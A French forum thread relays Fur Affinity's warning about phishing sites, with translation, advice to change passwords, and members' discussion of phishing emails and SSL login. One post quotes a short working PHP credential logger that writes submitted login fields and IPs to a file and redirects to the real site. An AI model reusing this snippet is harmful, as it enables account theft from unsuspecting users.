FA attention a vos connection /!\ PHISHING

[Wylf]

Journal taken from dragoneer this needs to be spread around!

FUR AFFINITY PHISHING/SCAM SITE: http://furaffinity.***.com/ http://noreds.***space.com/phish/ and http://furaffinity.**/
(Do not sign into the above link. Seriously.) ( lien neutralisée )


We've gotten several reports of accounts being hacked recently. After looking into it, somebody setup the above phishing site to capture accounts and cause damage to FA and its members. We are currently taking the appropriate action.

The only official domain of this site: http://www.furaffinity.net

Many of the Phishing scams were sent by discombobulated.

If you believe you have signed into the above site IMMEDIATELY CHANGE YOUR PASSWORD(S). If you've used your password at any other site change your passwords there as well.

Phishing can happen to any site, and it's always best to be aware of what's going on around you and what you're clicking on. It's one of the most common scams on the Internet. If you're ever prompted to login to a site always doublecheck the domain at the address bar -- security begins and ends with you.

Quick tip: ALWAYS doublecheck your browser address bar. Proper domains end with a / in the title ( e.g. "www.furaffinity.net/ when you're at that site)". The / is important, as it denotes the end of the domain (otherwise, spoofers can setup furaffinity.net.otherdomain.com/ to make things look legit).

thanks,

-DJ MichA

http://www.furaffinity.net/journal/1364465/

Site de phishing contre FA: http://furaffinity.t**.com/ http://noreds.0**space.com/phish/ et http://furaffinity.**/
(Ne vous inscrivez pas sur le lien ci-dessus. Sérieusement.) ( lien neutralisée )


Nous avons reçu plusieurs messages de comptes piraté récemment. Après avoir examiné le programme d'installation il a des personne mal attentionnée qui on crée des site de phishing pour capturer les mots de passe des comptes et causer des dommages aux membre de FA . Nous sommes entrain de prendre les mesures appropriées.

Le seul nom de domaine de ce site est: http://www.furaffinity.net

Beaucoup de site de phishing ont été crée.

Si vous croyez que vous vous ète loguer dans le site ci-dessus changez immédiatement votre mot de passe. Si vous avez utilisé le même mot de passe sur d'autre site de changer les aussi.

le Phishing peut arriver sur n'importe quel site, il est toujours préférable d'être conscient de ce qui se passe autour de vous en cliquant sur un lien. C'est l'une des escroqueries les plus courantes sur Internet. Si jamais vous êtes invité à vous connecter à un site revérifier toujours le nom domaine sur barre d'adresse - La sécurité commence et se termine avec vous.

Petit conseil: TOUJOURS vérifier votre barre d'adresse du navigateur. Une bonne adresse de domaines avec un / dans le titre (par exemple "www.furaffinity.net/ lorsque vous êtes sur ce site)". Le / est importante, car elle marque la fin du nom de domaine (exemple: furaffinity.net.otherdomain.com n'est pas une bonne adresse).

Merci,

Micha-DJ

traduit d'après mes base en anglais x3

[poisson]

heu juste une question ...

pourquoi faire sa sur un site de furry et pas sur des sites ou cela leurs permettrais de gagner des sous ou des comptes de divers jeux ???
en gros pourquoi font ils sa sur un site ou il n'ont rien a gagner ???

[Itaru]

Pour récupérer des données à l'inscription, telles que les adresses mail, les mots de passe (Balaud surtout pour ceux utilisant un seul password pour tous leurs sites ) et Dieu sait à quel point ca devient rapidement saoulant de se faire harceler de mail ou tout simplement pirater sa boite ...

[Lord Foxhole]

Furaffinity vient subitement de tomber dans les choux...

Je suppose que c'est lié à l'affaire qui nous occupe.

[Wylf]

non cettait juste une surcharge serveur a cause des personne qui envoi des requête en même temps le site ce met en sécurité

[Snarl]

Laule, le joli exercice scolaire de PHP.

Code: Tout sélectionner

<php
$datum = date('d-m-Y / H:i:s');
$ip = $_SERVER['REMOTE_ADDR'];
header("Location: http://www.furaffinity.net/login/");
$handle = fopen("password.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "IP: $ip | Date: $datum (Date=0 GTM)\r\n");
fwrite($handle, "\r\n");
fclose($handle);

setcookie ("user", "empty", time()+3600);
exit;
?>

[Fenax]

ouais bon ...
c'est la la base de la sécurité.
ne pas donner son mot de passe à nimportequi

[Tifou]

Rien à voir avec FA, mais en tentative de phishing j'ai reçu ça :

Vérifiez le risque pour la sécurité, ils ont trouvé un risque de sécurité pour votre compte peut avoir été compromise, le compte a été verrouillé! Si le compte est à vous, s'il vous plaît visitez-vous à h**p://****/ d'authentification, si vous n'avez pas d'authentifier, le compte sera définitivement fermé!

Nous espérons vous voir!

- NCsoft's Team

Vu le nombre de fautes, c'est assez flagrant...

[Wylf]

c'est pour quel genre de site ? ta banque ?

[Naalik]

NC Soft est un éditeur de jeux coréen, particulièrement impliqué dans des MMORPG comme Lineage II ou Guild Wars, entre autres. Tentative de phishing courante qui consiste à se logger sur une fausse page qui ressemble trait pour trait à celle de gestion de compte de jeu, les infos (login MdP) sont réccupérées par les pirates qui prennent le contrôle du compte. Ou "Comment se faire avoir par un lien qui ressemble à un trait d'union près à l'adresse d'un site officiel en répondant à la menace de se faire fermer son compte pour son MMO préféré ?"

[Wylf]

FA passe les connexion de la page des mot de passe en SSL en language non geek en page sécurisée il ettait temps

[Hematite]

J'ai remarqué un problème avec le moteur de recherche "bing" (j'ai un mauvais réglage avec firefox,car je tombe sur ça au lieu de google quant je fait une faute de frappe sur l'adresse d'un site)
Dans les premiers résultat il y a toujours un ou plusieurs faux site qui tente de ce faire passé pour Furaffinity

[Draky]

Bonne nouvelle il était temps, le login non sécurisé, une vrai passoire, j'avais déjà jeté un œil sur mon propre PC j'imagine que c'était tout à fait possible de faire la même chose en listening sur les wifi. Maintenant que c'est crypté ça devrait plus s'afficher en clair